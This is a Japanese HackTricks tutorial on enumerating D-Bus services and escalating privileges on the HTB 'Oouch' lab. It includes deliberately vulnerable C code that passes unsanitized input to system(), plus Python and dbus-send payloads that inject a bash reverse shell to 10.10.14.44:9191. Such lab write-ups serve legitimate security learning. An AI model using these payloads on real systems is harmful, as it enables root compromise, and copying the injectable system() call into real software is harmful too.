D-Busの列挙とコマンドインジェクションによる特権昇格
Reading time: 21 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
GUI列挙
D-Busは、Ubuntuデスクトップ環境におけるプロセス間通信(IPC)の仲介者として利用されています。Ubuntuでは、いくつかのメッセージバスが同時に動作しているのが観察されます:システムバスは主に特権サービスがシステム全体に関連するサービスを公開するために利用され、各ログインユーザーのためのセッションバスは、その特定のユーザーにのみ関連するサービスを公開します。ここでは、特権を昇格させることを目的としているため、特権の高いサービス(例:root)で動作することに関連するシステムバスに主に焦点を当てています。D-Busのアーキテクチャは、各セッションバスごとに「ルーター」を採用しており、クライアントが通信したいサービスのために指定したアドレスに基づいて、クライアントメッセージを適切なサービスにリダイレクトする役割を担っています。
D-Bus上のサービスは、オブジェクトとインターフェースによって定義されます。オブジェクトは、標準的なOOP言語におけるクラスインスタンスに似ており、各インスタンスはオブジェクトパスによって一意に識別されます。このパスは、ファイルシステムパスに似ており、サービスによって公開される各オブジェクトを一意に識別します。研究目的での重要なインターフェースは、org.freedesktop.DBus.Introspectableインターフェースであり、単一のメソッドIntrospectを特徴としています。このメソッドは、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返し、ここではプロパティとシグナルを省略してメソッドに焦点を当てています。
D-Busインターフェースとの通信には、2つのツールが使用されました:D-Busによって公開されるメソッドをスクリプトで簡単に呼び出すためのCLIツールgdbusと、各バスで利用可能なサービスを列挙し、各サービスに含まれるオブジェクトを表示するために設計されたPythonベースのGUIツールD-Feetです。
sudo apt-get install d-feet
最初の画像には、D-Busシステムバスに登録されたサービスが表示されており、org.debin.aptがシステムバスボタンを選択した後に特に強調表示されています。D-Feetはこのサービスに対してオブジェクトをクエリし、選択されたオブジェクトのインターフェース、メソッド、プロパティ、およびシグナルを表示します。これが2番目の画像で確認できます。各メソッドのシグネチャも詳細に記載されています。
注目すべき特徴は、サービスのプロセスID(pid)とコマンドラインが表示されることで、サービスが昇格した特権で実行されているかどうかを確認するのに役立ちます。これは研究の関連性にとって重要です。
D-Feetはメソッドの呼び出しも可能です:ユーザーはパラメータとしてPython式を入力でき、D-FeetはそれをD-Busタイプに変換してサービスに渡します。
ただし、いくつかのメソッドは認証を必要とします。これらのメソッドは無視します。なぜなら、私たちの目標は最初から資格情報なしで特権を昇格させることだからです。
また、いくつかのサービスは、ユーザーが特定のアクションを実行することを許可されるべきかどうかを確認するために、別のD-Busサービスであるorg.freedeskto.PolicyKit1にクエリを送信することに注意してください。
Cmd line Enumeration
サービスオブジェクトのリスト
開いているD-Busインターフェースをリストすることが可能です:
busctl list #List D-Bus interfaces
NAME PID PROCESS USER CONNECTION UNIT SE
:1.0 1 systemd root :1.0 init.scope -
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
:1.3 2609 dbus-server root :1.3 dbus-server.service -
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
:1.820 6583 systemd qtc :1.820 user@1000.service -
com.ubuntu.SoftwareProperties - - - (activatable) - -
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
org.bluez - - - (activatable) - -
org.freedesktop.DBus 1 systemd root - init.scope -
org.freedesktop.PackageKit - - - (activatable) - -
org.freedesktop.PolicyKit1 - - - (activatable) - -
org.freedesktop.hostname1 - - - (activatable) - -
org.freedesktop.locale1 - - - (activatable) - -
接続
From wikipedia: プロセスがバスへの接続を設定すると、バスはその接続に unique connection name と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変であり、接続が存在する限り変更されないことが保証されています。さらに重要なことに、バスの寿命中に再利用されることはありません。つまり、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、そのバスへの他の接続にそのようなユニークな接続名が割り当てられることは決してありません。ユニークな接続名は、通常禁止されているコロン文字で始まるため、簡単に認識できます。
サービスオブジェクト情報
次に、インターフェースに関する情報を取得できます:
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
サービスオブジェクトのインターフェースをリストする
十分な権限が必要です。
busctl tree htb.oouch.Block #Get Interfaces of the service object
└─/htb
└─/htb/oouch
└─/htb/oouch/Block
サービスオブジェクトのインターフェースを調査する
この例では、tree
パラメーターを使用して発見された最新のインターフェースが選択されたことに注意してください(前のセクションを参照):
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block interface - - -
.Block method s s -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
メソッド .Block
のインターフェース htb.oouch.Block
に注意してください(私たちが興味を持っているものです)。他の列の "s" は、文字列を期待していることを意味するかもしれません。
モニター/キャプチャインターフェース
十分な権限があれば(send_destination
と receive_sender
の権限だけでは不十分です)、D-Bus通信をモニターできます。
通信をモニターするには、rootである必要があります。まだrootで問題がある場合は、https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ と https://wiki.ubuntu.com/DebuggingDBus を確認してください。
warning
D-Bus設定ファイルを構成して非rootユーザーが通信をスニッフィングできるようにする方法を知っている場合は、ぜひご連絡ください!
モニターするための異なる方法:
sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
次の例では、インターフェース htb.oouch.Block
が監視されており、メッセージ "lalalalal" が誤通信を通じて送信されます:
busctl monitor htb.oouch.Block
Monitoring bus message stream.
‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};
‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
Sender=:1.3 Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
capture
の代わりにmonitor
を使用して、結果をpcapファイルに保存できます。
ノイズをすべてフィルタリングする
バス上に情報が多すぎる場合は、次のようにマッチルールを渡します:
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
複数のルールを指定できます。メッセージが_いずれか_のルールに一致する場合、そのメッセージが印刷されます。次のように:
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"
D-Busのドキュメントを参照して、マッチルールの構文に関する詳細情報を確認してください。
もっと
busctl
にはさらに多くのオプションがあります。ここですべて見つけることができます。
脆弱なシナリオ
ユーザーqtcがHTBのホスト「oouch」内にいる場合、_ /etc/dbus-1/system.d/htb.oouch.Block.conf _にある予期しないD-Bus設定ファイルを見つけることができます。
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>
以前の設定から、このD-BUS通信を介して情報を送受信するには、root
またはwww-data
ユーザーである必要があります。
Dockerコンテナaeb4525789d8内のユーザーqtcとして、ファイル_/code/oouch/routes.py_にいくつかのdbus関連のコードがあります。これが興味深いコードです:
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
ご覧のとおり、D-Busインターフェースに接続し、「Block」関数に「client_ip」を送信しています。
D-Bus接続の反対側には、Cでコンパイルされたバイナリが実行されています。このコードは、D-Bus接続でIPアドレスをリッスンし、与えられたIPアドレスをブロックするためにsystem
関数を介してiptablesを呼び出しています。
system
への呼び出しは意図的にコマンドインジェクションに対して脆弱であり、次のようなペイロードがリバースシェルを作成します: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
これを悪用する
このページの最後に、D-Busアプリケーションの完全なCコードがあります。その中には、91行目から97行目の間に**D-Busオブジェクトパス
** とインターフェース名
が登録されている方法が記載されています。この情報は、D-Bus接続に情報を送信するために必要です:
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
また、57行目にはこのD-Bus通信に登録されている唯一のメソッドがBlock
と呼ばれていることがわかります(そのため、次のセクションではペイロードがサービスオブジェクトhtb.oouch.Block
、インターフェース/htb/oouch/Block
、およびメソッド名Block
に送信されます):
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
Python
次のpythonコードは、block_iface.Block(runme)
を介してBlock
メソッドにペイロードをD-Bus接続に送信します(これは前のコードのチャンクから抽出されたことに注意してください):
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
busctl と dbus-send
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
dbus-send
は「Message Bus」にメッセージを送信するためのツールです。- Message Bus – システムがアプリケーション間の通信を容易にするために使用するソフトウェアです。これはメッセージキューに関連しています(メッセージは順序通りに並べられます)が、Message Busではメッセージはサブスクリプションモデルで送信され、非常に迅速です。
- “-system” タグは、セッションメッセージではなくシステムメッセージであることを示すために使用されます(デフォルト)。
- “–print-reply” タグは、メッセージを適切に印刷し、人間が読みやすい形式で返信を受け取るために使用されます。
- “–dest=Dbus-Interface-Block” Dbusインターフェースのアドレスです。
- “–string:” – インターフェースに送信したいメッセージのタイプです。メッセージを送信するための形式には、ダブル、バイト、ブール値、整数、オブジェクトパスなどがあります。この中で、「オブジェクトパス」はファイルのパスをDbusインターフェースに送信したいときに便利です。この場合、特別なファイル(FIFO)を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。“string:;” – これはFIFOリバースシェルファイル/コマンドの場所を指定してオブジェクトパスを再度呼び出すためのものです。
htb.oouch.Block.Block
では、最初の部分(htb.oouch.Block
)がサービスオブジェクトを参照し、最後の部分(.Block
)がメソッド名を参照していることに注意してください。
C code
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;
/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
int command_len = strlen(command);
int host_len = strlen(host);
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}
sprintf(command_buffer, command, host);
/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();
if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}
/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};
int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
* argc (int) Number of arguments, not required
* argv[] (char**) Argument array, not required
*
* Returns:
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
* as long as the user keeps it alive.
*/
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);
sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;
/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}
/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}
/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;
/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}
finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。